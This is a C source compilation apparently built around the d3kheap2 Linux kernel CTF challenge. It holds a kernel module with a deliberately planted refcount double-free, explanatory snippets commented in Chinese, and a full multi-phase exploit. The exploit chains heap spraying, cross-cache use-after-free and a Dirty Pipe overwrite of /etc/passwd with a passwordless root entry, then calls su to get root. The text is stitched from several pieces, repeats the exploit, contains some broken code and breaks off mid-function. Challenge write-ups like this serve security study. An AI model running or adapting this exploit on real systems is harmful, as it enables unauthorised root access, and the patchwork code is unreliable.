/**
 * Copyright (c) 2026 BinRacer <native.lab@outlook.com>
 *
 * This work is licensed under the terms of the GNU GPL, version 2 or later.
 **/
// code base on D^3CTF 2025 - d3kheap2
#include <linux/init.h>
#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/sched.h>
#include <linux/seq_file.h>
#include <linux/slab.h>
#include <linux/spinlock.h>
#include <linux/uaccess.h>

#define D3KHEAP2_BUF_NR 0x100

#define D3KHEAP2_OBJ_ALLOC 0x3361626e
#define D3KHEAP2_OBJ_FREE 0x74747261
#define D3KHEAP2_OBJ_EDIT 0x54433344
#define D3KHEAP2_OBJ_SHOW 0x4e575046

struct chunk_t {
	atomic_t ref_count;
	void *buffer;
};

struct d3kheap2_ureq {
	size_t idx;
};
static struct chunk_t chunks[D3KHEAP2_BUF_NR] = { 0 };

static spinlock_t d3kheap2_lock;
static struct kmem_cache *d3kheap2_cache = NULL;

struct proc_dir_entry *d3kheap2_file_entry;

static long d3kheap2_ioctl(struct file *, unsigned int, unsigned long);
static const struct proc_ops d3kheap2_ops = {.proc_ioctl = d3kheap2_ioctl
};

static long d3kheap2_ioctl(struct file *filp, unsigned int cmd,
			   unsigned long arg)
{
	struct d3kheap2_ureq ureq;
	long res = 0;

	spin_lock(&d3kheap2_lock);

	if (copy_from_user(&ureq, (void *)arg, sizeof(ureq))) {
		pr_info("[d3kheap2:] Unable to copy request from userland!\n");
		res = -EFAULT;
		goto out;
	}

	if (ureq.idx >= D3KHEAP2_BUF_NR) {
		pr_info("[d3kheap2:] Got invalid request from userland!\n");
		res = -EINVAL;
		goto out;
	}

	switch (cmd) {
	case D3KHEAP2_OBJ_ALLOC:
		if (chunks[ureq.idx].buffer) {
			pr_info("[d3kheap2:] Expected slot [%zu] "
				"has already been occupied!\n", ureq.idx);
			res = -EPERM;
			break;
		}

		chunks[ureq.idx].buffer =
		    kmem_cache_alloc(d3kheap2_cache, GFP_KERNEL | __GFP_ZERO);
		if (!chunks[ureq.idx].buffer) {
			pr_info("[d3kheap2:] Failed to alloc new buffer "
				"on expected slot!\n");
			res = -ENOMEM;
			break;
		}

		/* vulnerability here */
		atomic_set(&chunks[ureq.idx].ref_count, 1);
		atomic_inc(&chunks[ureq.idx].ref_count);

		pr_info("[d3kheap2:] Successfully allocate new buffer "
			"for slot [%zu].\n", ureq.idx);

		break;
	case D3KHEAP2_OBJ_FREE:
		if (!chunks[ureq.idx].buffer) {
			pr_info("[d3kheap2:] Expected slot [%zu] "
				"had not been allocated!\n", ureq.idx);
			res = -EPERM;
			break;
		}

		if (atomic_read(&chunks[ureq.idx].ref_count) <= 0) {
			pr_info("[d3kheap2:] You're not allowed to "
				"free a free slot!");
			res = -EPERM;
			break;
		}

		atomic_dec(&chunks[ureq.idx].ref_count);
		kmem_cache_free(d3kheap2_cache, chunks[ureq.idx].buffer);

		pr_info("[d3kheap2:] Successfully free existed buffer "
			"on slot [%zu].\n", ureq.idx);

		break;
	case D3KHEAP2_OBJ_EDIT:
		pr_info("[d3kheap2:] 🕊🕊🕊 This function hadn't been "
			"completed yet bcuz " "I'm a pigeon!\n");
		break;
	case D3KHEAP2_OBJ_SHOW:
		pr_info("[d3kheap2:] 🕊🕊🕊 This function hadn't been "
			"completed yet bcuz " "I'm a pigeon!\n");
		break;
	default:
		pr_info("[d3kheap2:] Got invalid request from userland!\n");
		res = -EINVAL;
		break;
	}

out:
	spin_unlock(&d3kheap2_lock);

	return res;
}

static int d3kheap2_init(void)
{
	struct kmem_cache_args args = { 0 };
	d3kheap2_file_entry = proc_create("d3kheap2", 0, NULL, &d3kheap2_ops);
	if (d3kheap2_file_entry == NULL) {
		return -ENOMEM;
	}

	d3kheap2_cache =
	    __kmem_cache_create_args("d3kheap2_cache", 2048, &args,
				     SLAB_NO_MERGE | SLAB_ACCOUNT);
	if (!d3kheap2_cache) {
		pr_info
		    ("[d3kheap2:] d3kheap2_cache slab cache create failed.\n");
		return -ENOMEM;
	}
	spin_lock_init(&d3kheap2_lock);
	return 0;
}

static void d3kheap2_exit(void)
{
	for (int i = 0; i < D3KHEAP2_BUF_NR; i++) {
		if (chunks[i].buffer) {
			kmem_cache_free(d3kheap2_cache, chunks[i].buffer);
			atomic_set(&chunks[i].ref_count, 0);
			chunks[i].buffer = NULL;
		}
	}
	kmem_cache_destroy(d3kheap2_cache);
	remove_proc_entry("d3kheap2", NULL);
}

module_init(d3kheap2_init);
module_exit(d3kheap2_exit);
MODULE_AUTHOR("BinRacer");
MODULE_LICENSE("GPL v2");
MODULE_DESCRIPTION("Welcome to the pwn4kernel challenge!");

// 正确的引用计数初始化序列应该是:
atomic_set(&chunks[idx].ref_count, 1);  // 初始化为1，表示分配者持有引用

// 错误的d3kheap2初始化序列:
atomic_set(&chunks[idx].ref_count, 1);  // 正确：初始化为1
atomic_inc(&chunks[idx].ref_count);     // 错误：无条件下递增至2

// 编译时生成的类型标识符
#define TYPE_PIPE_BUF_OPS  0x12345678
#define TYPE_TTY_OPS       0x87654321

// 运行时CFI检查
void __cfi_check(uintptr_t target, uintptr_t expected_type) {
    uintptr_t actual_type = __get_type(target);
    if (actual_type != expected_type) {
        handle_cfi_violation();  // 触发内核崩溃
    }
}

void kmem_cache_free(struct kmem_cache *s, void *x)
{
    // 1. 对释放的内存进行清零
    if (s->flags & SLAB_INIT_ON_FREE) {
        memset(x, 0, s->size);  // 关键：清除所有残留数据
    }

    // 2. 正常的释放逻辑
    __kmem_cache_free(s, x);
}

struct kmem_cache *kmem_cache_select(struct kmem_cache *s, gfp_t gfp)
{
    struct mem_cgroup *memcg = get_mem_cgroup_from_current();

    // 如果缓存支持内存控制组记账
    if (s->flags & SLAB_ACCOUNT) {
        // 返回与当前内存控制组关联的缓存
        return memcg->kmem_caches[s];
    }

    return s;  // 返回全局缓存
}

/* offset      |    size */  type = struct slab {
/* 0x0000      |  0x0008 */    unsigned long __page_flags;
/* 0x0008      |  0x0008 */    struct kmem_cache *slab_cache;
/* 0x0010      |  0x0020 */    union {
/*                0x0020 */        struct {
/* 0x0010      |  0x0010 */            union {
/*                0x0010 */                struct list_head {
/* 0x0010      |  0x0008 */                    struct list_head *next;
/* 0x0018      |  0x0008 */                    struct list_head *prev;

                                               /* total size (bytes):   16 */
                                           } slab_list;
/*                0x0010 */                struct {
/* 0x0010      |  0x0008 */                    struct slab *next;
/* 0x0018      |  0x0004 */                    int slabs;
/* XXX  4-byte padding   */

                                               /* total size (bytes):   16 */
                                           };

                                           /* total size (bytes):   16 */
                                       };
/* 0x0020      |  0x0010 */            union {
/*                0x0010 */                struct {
/* 0x0020      |  0x0008 */                    void *freelist;
/* 0x0028      |  0x0008 */                    union {
/*                0x0008 */                        unsigned long counters;
/*                0x0004 */                        struct {
/* 0x0028: 0x0 |  0x0004 */                            unsigned int inuse : 16;
/* 0x002a: 0x0 |  0x0004 */                            unsigned int objects : 15;
/* 0x002b: 0x7 |  0x0004 */                            unsigned int frozen : 1;

                                                       /* total size (bytes):    4 */
                                                   };

                                                   /* total size (bytes):    8 */
                                               };

                                               /* total size (bytes):   16 */
                                           };
/*                0x0010 */                freelist_aba_t freelist_counter;

                                           /* total size (bytes):   16 */
                                       };

                                       /* total size (bytes):   32 */
                                   };
/*                0x0010 */        struct callback_head {
/* 0x0010      |  0x0008 */            struct callback_head *next;
/* 0x0018      |  0x0008 */            void (*func)(struct callback_head *);

                                       /* total size (bytes):   16 */
                                   } callback_head;
/* XXX 16-byte padding   */

                                   /* total size (bytes):   32 */
                               };
/* 0x0030      |  0x0004 */    unsigned int __page_type;
/* 0x0034      |  0x0004 */    atomic_t __page_refcount;
/* 0x0038      |  0x0008 */    unsigned long obj_exts;

                               /* total size (bytes):   64 */
                             }

void *kmem_cache_alloc(struct kmem_cache *cachep, gfp_t flags)
{
    void *obj;

    // 1. 快速路径：从当前CPU缓存获取
    obj = __kmem_cache_alloc_from_cpu(cachep, flags);
    if (obj) return obj;

    // 2. 慢速路径：从节点缓存获取
    obj = __kmem_cache_alloc_from_node(cachep, flags);
    if (obj) return obj;

    // 3. 最慢路径：分配新Slab
    return __kmem_cache_alloc_new_slab(cachep, flags);
}

void kmem_cache_free(struct kmem_cache *cachep, void *objp)
{
    // 1. 验证对象地址
    if (!__kmem_cache_valid_object(cachep, objp)) {
        BUG();  // 对象不属于此缓存
    }

    // 2. 检查对象状态，防止双重释放
    if (__kmem_cache_object_freed(cachep, objp)) {
        slab_error(cachep, "Double free detected");
        return;
    }

    // 3. 内存初始化（如果启用）
    if (cachep->flags & SLAB_INIT_ON_FREE) {
        memset(objp, 0, cachep->size);
    }

    // 4. 标记对象为已释放
    __kmem_cache_mark_freed(cachep, objp);

    // 5. 将对象返回给CPU缓存
    __kmem_cache_free_to_cpu(cachep, objp);
}

// 步骤1: 分配所有0x100个槽位
for (int i = 0; i < 0x100; i++) {
    struct d3kheap2_ureq req = { .idx = i };
    ioctl(fd, D3KHEAP2_OBJ_ALLOC, &req);
}

// 步骤2: 立即释放所有槽位
for (int i = 0; i < 0x100; i++) {
    struct d3kheap2_ureq req = { .idx = i };
    ioctl(fd, D3KHEAP2_OBJ_FREE, &req);
}

int sock_fds[SPRAY_COUNT][2];
char spray_data[SPRAY_SIZE];
memset(spray_data, 0x41, SPRAY_SIZE);  // 填充数据

for (int i = 0; i < SPRAY_COUNT; i++) {
    socketpair(AF_UNIX, SOCK_STREAM, 0, sock_fds[i]);
    write(sock_fds[i][1], spray_data, SPRAY_SIZE);  // 触发sk_buff分配
}

struct d3kheap2_ureq req = { .idx = TARGET_IDX };
ioctl(fd, D3KHEAP2_OBJ_FREE, &req);  // 再次释放目标槽位，触发double free

int pipe_fds[PIPE_COUNT][2];
char pipe_data[PIPE_SIZE];
memset(pipe_data, 0x42, PIPE_SIZE);  // 填充数据

for (int i = 0; i < PIPE_COUNT; i++) {
    pipe(pipe_fds[i]);
    // 设置管道缓冲区大小为32页，以分配2k范围的pipe_buffer
    fcntl(pipe_fds[i][0], F_SETPIPE_SZ, 0x1000 * 32);
    write(pipe_fds[i][1], pipe_data, PIPE_SIZE);  // 触发pipe_buffer分配
}

/* =============================================================== *
 *  Configuration Macros
 * =============================================================== */
#define CHUNK_SPRAY_COUNT        0x100
#define MSG_TYPE                 0x41
#define MSG_SIZE                 0x800
#define MSG_QUEUE_NUM            0x400
#define MAX_PIPE_COUNT           (0xf0 * 2)
#define SOCKET_NUM               32
#define SK_BUFF_NUM              90
#define PIPE_BUFFER_SIZE         (0x1000 * 32)

/* =============================================================== *
 *  Global Variables
 * =============================================================== */
int dev_fd = -1;                                        // Device file descriptor
int victim_fd = -1;                                     // Target file (/etc/passwd) descriptor
int msqid[MSG_QUEUE_NUM] = {0};                         // Message queue IDs
int pipe_fds[MAX_PIPE_COUNT][2] = 0;                // Pipe file descriptors
int victim_pipe_idx = -1;                               // Index of corrupted pipe
int victim_sock_idx = -1;                               // Index of socket containing victim pipe_buffer
size_t pipe_data[0x1000 / 8] = {0};                     // Pipe data buffer
char skb_data[2048 - 320] = {0};                        // SKB spray data buffer
struct pipe_buffer fake_pipe_buf = {0};                 // Fake pipe_buffer for corruption
struct pipe_buffer victim_pipe_buf = {0};               // Victim pipe_buffer extracted from heap
char evil_data[] = "root::0:0:root:/root:/bin/sh\n";    // Malicious /etc/passwd entry

struct msg_spray_data {
    long mtype;                                         // Message type
    char mtext[MSG_SIZE - sizeof(struct msg_msg)];      // Message payload
} msg_data = {0};

/* =============================================================== *
 *  Device Control Macros
 * =============================================================== */
#define OBJ_ADD  0x3361626e
#define OBJ_DEL  0x74747261
#define OBJ_EDIT 0x54433344
#define OBJ_SHOW 0x4e575046

struct d3kheap2_ureq {
    size_t idx;  // Object index
};

/* =============================================================== *
 *  Device Operation Wrappers
 * =============================================================== */

/**
 * add_chunk - Add kernel object via ioctl
 * @param idx: Object index
 * @return: ioctl return value
 *
 * This function adds a kernel object at the specified index by calling the
 * device's ADD ioctl command. Used for initial heap spraying.
 */
int add_chunk(size_t idx) {
    struct d3kheap2_ureq ureq = { .idx = idx };
    return ioctl(dev_fd, OBJ_ADD, &ureq);
}

/**
 * delete_chunk - Delete kernel object via ioctl
 * @param idx: Object index
 * @return: ioctl return value
 *
 * This function deletes a kernel object at the specified index by calling the
 * device's DELETE ioctl command. Used to free objects and trigger UAF.
 */
int delete_chunk(size_t idx) {
    struct d3kheap2_ureq ureq = { .idx = idx };
    return ioctl(dev_fd, OBJ_DEL, &ureq);
}

/**
 * edit_chunk - Edit kernel object via ioctl
 * @param idx: Object index
 * @return: ioctl return value
 *
 * This function edits a kernel object at the specified index by calling the
 * device's EDIT ioctl command. Not used in current exploit.
 */
int edit_chunk(size_t idx) {
    struct d3kheap2_ureq ureq = { .idx = idx };
    return ioctl(dev_fd, OBJ_EDIT, &ureq);
}

/**
 * show_chunk - Show kernel object via ioctl
 * @param idx: Object index
 * @return: ioctl return value
 *
 * This function shows a kernel object at the specified index by calling the
 * device's SHOW ioctl command. Not used in current exploit.
 */
int show_chunk(size_t idx) {
    struct d3kheap2_ureq ureq = { .idx = idx };
    return ioctl(dev_fd, OBJ_SHOW, &ureq);
}

/* =============================================================== *
 *  Exploit Phase Functions
 * =============================================================== */

/**
 * setup_env - Setup environment, open device and target file
 *
 * This function prepares the exploitation environment by increasing file descriptor
 * limits, binding to CPU core 0 for stability, and opening the vulnerable device
 * and target file (/etc/passwd). This establishes the foundation for all subsequent
 * operations.
 */
void setup_env(void) {
    struct rlimit rl = {0};

    log.info("===========================================================");
    log.info("PHASE 1: ENVIRONMENT SETUP                                 ");
    log.info("===========================================================");

    // Increase file descriptor limit for mass spraying operations
    rl.rlim_cur = 4096;
    rl.rlim_max = 4096;
    if (setrlimit(RLIMIT_NOFILE, &rl) == -1) {
        log.error("Failed to expand file descriptor limit!");
        exit(EXIT_FAILURE);
    }
    log.info("File descriptor limit set to %lu", rl.rlim_cur);

    // Bind to CPU core 0 for stability and predictable scheduling
    bind_core(0);

    // Open vulnerable kernel device for heap manipulation
    dev_fd = open("/proc/d3kheap2", O_RDWR);
    if (dev_fd < 0) {
        log.error("Open /proc/d3kheap2 failed!");
        exit(EXIT_FAILURE);
    }
    log.info("Opened vulnerable device at fd %d", dev_fd);

    // Open target file for corruption via Dirty Pipe vulnerability
    victim_fd = open("/etc/passwd", O_RDONLY);
    if (victim_fd < 0) {
        log.error("Open /etc/passwd failed!");
        exit(EXIT_FAILURE);
    }
    log.info("Opened target file /etc/passwd at fd %d", victim_fd);
}

/**
 * create_comms - Create all communication channels for spraying
 *
 * This function creates all necessary communication channels including message queues
 * for msg_msg spraying, socket pairs for SKB spraying, and pipe pairs for pipe_buffer
 * spraying. These channels are essential for controlled heap manipulation.
 */
void create_comms(void) {
    log.info("===========================================================");
    log.info("PHASE 2: COMMUNICATION CHANNELS CREATION                   ");
    log.info("===========================================================");

    // Create message queues for msg_msg heap spraying
    log.info("Creating %d message queues for msg_msg spraying...", MSG_QUEUE_NUM);
    for (int i = 0; i < MSG_QUEUE_NUM; i++) {
        if ((msqid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) < 0) {
            log.error("Failed to create msg_queue %d!", i);
            exit(EXIT_FAILURE);
        }
    }
    log.success("Created %d message queues", MSG_QUEUE_NUM);

    // Initialize SKB sprayer with socket pairs
    log.info("Initializing SKB sprayer with %d sockets, %d SKBs per socket...",
             SOCKET_NUM, SK_BUFF_NUM);
    if (skb_spray_init(SOCKET_NUM, SK_BUFF_NUM) < 0) {
        log.error("Failed to initialize SKB sprayer");
        exit(EXIT_FAILURE);
    }
    log.success("SKB sprayer initialized successfully");

    // Create pipe pairs for pipe_buffer spraying
    log.info("Creating %d pipe pairs for pipe_buffer spraying...", MAX_PIPE_COUNT);
    for (int i = 0; i < MAX_PIPE_COUNT; i++) {
        if (pipe(pipe_fds[i]) < 0) {
            log.error("Pipe creation failed at index %d", i);
            exit(EXIT_FAILURE);
        }
        // Write initial data to each pipe
        write(pipe_fds[i][1], pipe_data, MAX_PIPE_COUNT);
    }
    log.success("Created %d pipe pairs", MAX_PIPE_COUNT);
}

/**
 * heap_feng_shui - Spray, free, and trigger double-free vulnerability
 *
 * This function performs the core heap manipulation: sprays kmalloc-2k objects,
 * frees them, sprays SKBs to occupy freed memory, triggers double-free vulnerability,
 * and finally sprays pipe_buffers to occupy double-freed memory. This creates a
 * controlled UAF condition for cross-cache corruption.
 */
void heap_feng_shui(void) {
    log.info("===========================================================");
    log.info("PHASE 3: HEAP FENG SHUI AND UAF CREATION                   ");
    log.info("===========================================================");

    // Spray kmalloc-2k objects to create controlled heap layout
    log.info("Spraying %d kmalloc-2k objects...", CHUNK_SPRAY_COUNT);
    for (int i = 0; i < CHUNK_SPRAY_COUNT; i++) {
        if (add_chunk(i) < 0) {
            log.error("Failed to add chunk at index %d", i);
            exit(EXIT_FAILURE);
        }
    }
    log.success("Sprayed %d kmalloc-2k objects", CHUNK_SPRAY_COUNT);

    // Free all sprayed objects to create holes in kmalloc-2k cache
    log.info("Freeing all kmalloc-2k objects...");
    for (int i = 0; i < CHUNK_SPRAY_COUNT; i++) {
        if (delete_chunk(i) < 0) {
            log.error("Failed to delete chunk at index %d", i);
            exit(EXIT_FAILURE);
        }
    }
    log.success("Freed all kmalloc-2k objects");

    // Spray SKB objects to occupy freed kmalloc-2k memory slots
    log.info("Spraying SKB objects to occupy freed memory...");
    if (skb_spray(skb_data, sizeof(skb_data)) < 0) {
        log.error("Failed to spray SKBs");
        exit(EXIT_FAILURE);
    }
    log.success("Sprayed %d SKB objects", SOCKET_NUM * SK_BUFF_NUM);

    // Trigger double-free vulnerability to create UAF condition
    log.warn("Triggering double-free vulnerability...");
    for (int i = 0; i < CHUNK_SPRAY_COUNT; i++) {
        if (delete_chunk(i) < 0) {
            log.error("Failed to double-free chunk at index %d", i);
            exit(EXIT_FAILURE);
        }
    }
    log.warn("Double-free triggered on %d objects", CHUNK_SPRAY_COUNT);

    // Spray pipe_buffer objects to occupy double-freed memory
    log.info("Spraying pipe_buffer objects to occupy double-freed memory...");
    for (int i = 0; i < MAX_PIPE_COUNT; i++) {
        if (fcntl(pipe_fds[i][0], F_SETPIPE_SZ, PIPE_BUFFER_SIZE) < 0) {
            log.error("Pipe resize failed for pipe %d", i);
            exit(EXIT_FAILURE);
        }
    }
    log.success("Sprayed %d pipe_buffer objects", MAX_PIPE_COUNT);
}

/**
 * corrupt_pipes - Setup pipe corruption and find corrupted objects
 *
 * This function splices the target file into all pipes and searches for corrupted
 * pipe_buffer structures in SKB data. It identifies the victim socket and pipe
 * indices by detecting kernel pointers in the corrupted data.
 */
void corrupt_pipes(void) {
    log.info("===========================================================");
    log.info("PHASE 4: PIPE CORRUPTION AND OBJECT DETECTION              ");
    log.info("===========================================================");

    // Splice /etc/passwd into all pipes to load file pages into pipe buffers
    log.info("Splicing /etc/passwd into all pipes...");
    for (int i = 0; i < MAX_PIPE_COUNT; i++) {
        off_t offset = 0;
        if (splice(victim_fd, &offset, pipe_fds[i][1], NULL, 0x1000, 0) < 0) {
            log.error("Failed to splice to pipe %d", i);
            exit(EXIT_FAILURE);
        }
        // Read from pipe to adjust pipe_buffer offset and len
        read(pipe_fds[i][0], pipe_data, i);
    }
    log.success("Spliced /etc/passwd into all %d pipes", MAX_PIPE_COUNT);

    // Search for corrupted pipe_buffer structures in SKB data
    log.info("Searching for corrupted pipe_buffer objects in SKB data...");
    for (int i = 0; i < SOCKET_NUM; i++) {
        for (int j = 0; j < SK_BUFF_NUM; j++) {
            if (skb_peek(i, skb_data, sizeof(skb_data)) < 0) {
                continue;  // Skip failed peeks
            }

            struct pipe_buffer *pipe_buf = (struct pipe_buffer *)skb_data;
            fake_pipe_buf = pipe_buf[0];
            victim_pipe_buf = pipe_buf[1];

            // Check for valid kernel pointers indicating successful corruption
            if (fake_pipe_buf.page > vmemmap_base &&
                fake_pipe_buf.ops > kernel_base) {
                victim_sock_idx = i;
                victim_pipe_idx = fake_pipe_buf.offset;

                hex_dump2("Corrupted SKB data: ", skb_data, 0x60);
                log.success("Found victim socket index: %d", victim_sock_idx);
                log.success("Found victim pipe index: %d", victim_pipe_idx);
                log.success("Leaked pipe_buffer->page: 0x%lx", fake_pipe_buf.page);
                log.success("Leaked pipe_buffer->ops(anon_pipe_buf_ops): 0x%lx",
                           fake_pipe_buf.ops);
                return;  // Exit successfully
            }
        }
    }

    log.error("No pipe corruption detected - cross-cache UAF failed");
    exit(EXIT_FAILURE);
}

/**
 * prepare_realloc - Reallocate heap for final corruption
 *
 * This function frees non-victim SKBs, sprays msg_msg objects to occupy the freed
 * memory, and then frees victim SKBs. This prepares the heap layout for the final
 * stage where malicious pipe_buffer structures will be placed.
 */
void prepare_realloc(void) {
    log.info("===========================================================");
    log.info("PHASE 5: HEAP REALLOCATION PREPARATION                     ");
    log.info("===========================================================");

    // Free all non-victim socket SKBs to create controlled memory holes
    log.info("Freeing all non-victim socket SKBs...");
    for (int i = 0; i < SOCKET_NUM; i++) {
        if (i == victim_sock_idx) {
            continue;  // Skip victim socket
        }
        for (int j = 0; j < SK_BUFF_NUM; j++) {
            skb_read(i, skb_data, sizeof(skb_data));
        }
    }
    log.success("Freed all non-victim socket SKBs");

    // Spray msg_msg objects to occupy freed SKB memory
    log.info("Spraying msg_msg objects to occupy freed SKB memory...");
    memset(&msg_data, 0, sizeof(msg_data));
    for (int i = 0; i < MSG_QUEUE_NUM; i++) {
        *(size_t *)&msg_data.mtext[0] = MSG_TYPE;
        *(size_t *)&msg_data.mtext[8] = *(size_t *)"BinRacer";
        *(size_t *)&msg_data.mtext[16] = i;
        *(size_t *)&msg_data.mtext[24] = *(size_t *)"BinRacer";

        if (write_msg(msqid[i], &msg_data, sizeof(msg_data), MSG_TYPE) < 0) {
            log.error("Failed to send msg to queue %d!", i);
            exit(EXIT_FAILURE);
        }
    }
    log.success("Sprayed %d msg_msg objects", MSG_QUEUE_NUM);

    // Free victim socket SKBs to create space for malicious pipe_buffers
    log.info("Freeing victim socket SKBs...");
    for (int j = 0; j < SK_BUFF_NUM; j++) {
        skb_read(victim_sock_idx, skb_data, sizeof(skb_data));
    }
    log.success("Freed all victim socket SKBs");
}

/**
 * forge_pipe_buf - Construct and spray malicious pipe buffers
 *
 * This function constructs malicious pipe_buffer structures with the
 * PIPE_BUF_FLAG_CAN_MERGE flag set, then sprays them via SKBs to overwrite
 * legitimate pipe_buffer structures in kernel memory. This sets up the conditions
 * for the Dirty Pipe vulnerability exploitation.
 */
void forge_pipe_buf(void) {
    log.info("===========================================================");
    log.info("PHASE 6: FORGE AND SPRAY MALICIOUS PIPE BUFFERS            ");
    log.info("===========================================================");

    // Construct malicious pipe_buffer with CAN_MERGE flag
    log.info("Constructing malicious pipe_buffer with CAN_MERGE flag...");
    fake_pipe_buf.page = victim_pipe_buf.page;  // Same page as victim
    fake_pipe_buf.offset = 0;                  // Start from page beginning
    fake_pipe_buf.len = 0;                     // Zero length for CAN_MERGE flag
    // Note: The flags field should contain PIPE_BUF_FLAG_CAN_MERGE (0x10)

    // Prepare SKB data with two copies of the malicious pipe_buffer
    memcpy(skb_data, &fake_pipe_buf, sizeof(fake_pipe_buf));
    memcpy((char *)skb_data + sizeof(fake_pipe_buf), &fake_pipe_buf, sizeof(fake_pipe_buf));

    // Spray malicious pipe_buffers via SKBs
    log.info("Spraying malicious pipe_buffers via SKBs...");
    if (skb_spray(skb_data, sizeof(skb_data)) < 0) {
        log.error("Failed to spray malicious pipe_buffers");
        exit(EXIT_FAILURE);
    }
    log.success("Sprayed malicious pipe_buffers with CAN_MERGE flag");
}

/**
 * trigger_dirty_pipe - Trigger Dirty Pipe vulnerability
 *
 * This function triggers the Dirty Pipe vulnerability by writing to the victim
 * pipe. Due to the PIPE_BUF_FLAG_CAN_MERGE flag, the write operation merges
 * data into the target file page, overwriting /etc/passwd with a malicious
 * entry that grants root privileges.
 */
void trigger_dirty_pipe(void) {
    log.info("===========================================================");
    log.info("PHASE 7: TRIGGER DIRTY PIPE VULNERABILITY                  ");
    log.info("===========================================================");

    // Trigger Dirty Pipe vulnerability to overwrite /etc/passwd
    log.warn("Triggering Dirty Pipe vulnerability to overwrite /etc/passwd...");
    if (write(pipe_fds[victim_pipe_idx][1], evil_data, strlen(evil_data)) < 0) {
        log.error("Failed to write to victim pipe");
        exit(EXIT_FAILURE);
    }
    log.success("Successfully wrote malicious data to victim pipe");
}

/**
 * cleanup_and_get_root - Clean up and attempt privilege escalation
 *
 * This function cleans up file descriptors and attempts privilege escalation
 * by executing the su command. The modified /etc/passwd file will grant root
 * shell access, completing the exploitation chain.
 */
void cleanup_and_get_root(void) {
    log.info("===========================================================");
    log.info("PHASE 8: CLEANUP AND PRIVILEGE ESCALATION                  ");
    log.info("===========================================================");

    // Clean up file descriptors
    log.info("Cleaning up file descriptors...");

    // Close device file descriptors
    if (dev_fd >= 0) {
        close(dev_fd);
        log.info("Closed device file descriptor %d", dev_fd);
    }

    if (victim_fd >= 0) {
        close(victim_fd);
        log.info("Closed target file descriptor %d", victim_fd);
    }

    // Clean up SKB sprayer resources
    log.info("Cleaning up SKB sprayer resources...");
    skb_cleanup();
    log.info("SKB sprayer cleanup completed");

    // Remove all message queues
    log.info("Removing all message queues...");
    for (int i = 0; i < MSG_QUEUE_NUM; i++) {
        if (msqid[i] >= 0) {
            if (msgctl(msqid[i], IPC_RMID, NULL) < 0) {
                log.warn("Failed to remove message queue %d: %s", i, strerror(errno));
            } else {
                log.debug("Removed message queue %d", i);
            }
        }
    }
    log.info("Removed %d message queues", MSG_QUEUE_NUM);

    // Attempt privilege escalation via su command
    log.warn("Attempting privilege escalation via su command...");
    system("su -c 'cat /root/flag' && su");

    log.success("Exploitation sequence completed");
}

/* =============================================================== *
 *  Main Function
 * =============================================================== */

/**
 * main - Main exploitation entry point
 * @param argc: Argument count
 * @param argv: Argument vector
 * @param envp: Environment variables
 * @return: Program exit status
 *
 * This function orchestrates the entire exploitation process by calling each
 * phase in sequence. The exploitation follows a logical flow from environment
 * setup to privilege escalation, leveraging a double-free vulnerability and
 * the Dirty Pipe technique to achieve arbitrary file modification and root
 * access.
 */
int main(int argc, char **argv, char **envp) {
    log.info("===========================================================");
    log.info("D3KHEAP2 EXPLOIT - DIRTY PIPE VARIANT                      ");
    log.info("===========================================================");

    // Execute exploitation phases in sequence
    setup_env();                     // Phase 1: Environment setup
    create_comms();                  // Phase 2: Communication channels creation
    heap_feng_shui();                // Phase 3: Heap feng shui and UAF creation
    corrupt_pipes();                 // Phase 4: Pipe corruption and object detection
    prepare_realloc();               // Phase 5: Heap reallocation preparation
    forge_pipe_buf();                // Phase 6: Forge and spray malicious pipe buffers
    trigger_dirty_pipe();            // Phase 7: Trigger Dirty Pipe vulnerability
    cleanup_and_get_root();          // Phase 8: Cleanup and privilege escalation

    return 0;
}

void setup_env(void) {
    struct rlimit rl = {0};

    // 提高文件描述符限制，为大量通信通道创建提供空间
    rl.rlim_cur = 4096;
    rl.rlim_max = 4096;
    if (setrlimit(RLIMIT_NOFILE, &rl) == -1) {
        log.error("Failed to expand file descriptor limit!");
        exit(EXIT_FAILURE);
    }

    // CPU核心绑定，减少多核环境下的竞争干扰
    bind_core(0);

    // 打开漏洞设备接口
    dev_fd = open("/proc/d3kheap2", O_RDWR);

    // 打开目标文件用于后续操作
    victim_fd = open("/etc/passwd", O_RDONLY);
}

void create_comms(void) {
    // 创建System V消息队列
    for (int i = 0; i < MSG_QUEUE_NUM; i++) {
        msqid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
    }

    // 初始化套接字对
    skb_spray_init(SOCKET_NUM, SK_BUFF_NUM);

    // 创建管道对
    for (int i = 0; i < MAX_PIPE_COUNT; i++) {
        pipe(pipe_fds[i]);
        write(pipe_fds[i][1], pipe_data, MAX_PIPE_COUNT);
    }
}

void heap_feng_shui(void) {
    // 1. 堆喷kmalloc-2k对象
    for (int i = 0; i < CHUNK_SPRAY_COUNT; i++) {
        add_chunk(i);
    }

    // 2. 立即释放，创建内存空洞
    for (int i = 0; i < CHUNK_SPRAY_COUNT; i++) {
        delete_chunk(i);
    }

    // 3. 堆喷sk_buff占用释放的内存
    skb_spray(skb_data, sizeof(skb_data));

    // 4. 触发Double Free漏洞
    for (int i = 0; i < CHUNK_SPRAY_COUNT; i++) {
        delete_chunk(i);  // 第二次释放，触发漏洞
    }

    // 5. 设置管道缓冲区大小并堆喷pipe_buffer
    for (int i = 0; i < MAX_PIPE_COUNT; i++) {
        fcntl(pipe_fds[i][0], F_SETPIPE_SZ, PIPE_BUFFER_SIZE);
    }
}

void corrupt_pipes(void) {
    // 1. 将目标文件映射到所有管道
    for (int i = 0; i < MAX_PIPE_COUNT; i++) {
        off_t offset = 0;
        splice(victim_fd, &offset, pipe_fds[i][1], NULL, 0x1000, 0);
        read(pipe_fds[i][0], pipe_data, i);  // 调整管道缓冲区状态
    }

    // 2. 搜索重叠的pipe_buffer结构
    for (int i = 0; i < SOCKET_NUM; i++) {
        for (int j = 0; j < SK_BUFF_NUM; j++) {
            skb_peek(i, skb_data, sizeof(skb_data));

            struct pipe_buffer *pipe_buf = (struct pipe_buffer *)skb_data;
            fake_pipe_buf = pipe_buf[0];
            victim_pipe_buf = pipe_buf[1];

            // 3. 验证提取的内核指针
            if (fake_pipe_buf.page > vmemmap_base &&
                fake_pipe_buf.ops > kernel_base) {
                victim_sock_idx = i;
                victim_pipe_idx = fake_pipe_buf.offset;
                return;
            }
        }
    }
}

uint64_t kernel_base = fake_pipe_buf.ops - ANON_PIPE_BUF_OPS_OFFSET;

void prepare_realloc(void) {
    // 1. 释放非目标套接字的sk_buff
    for (int i = 0; i < SOCKET_NUM; i++) {
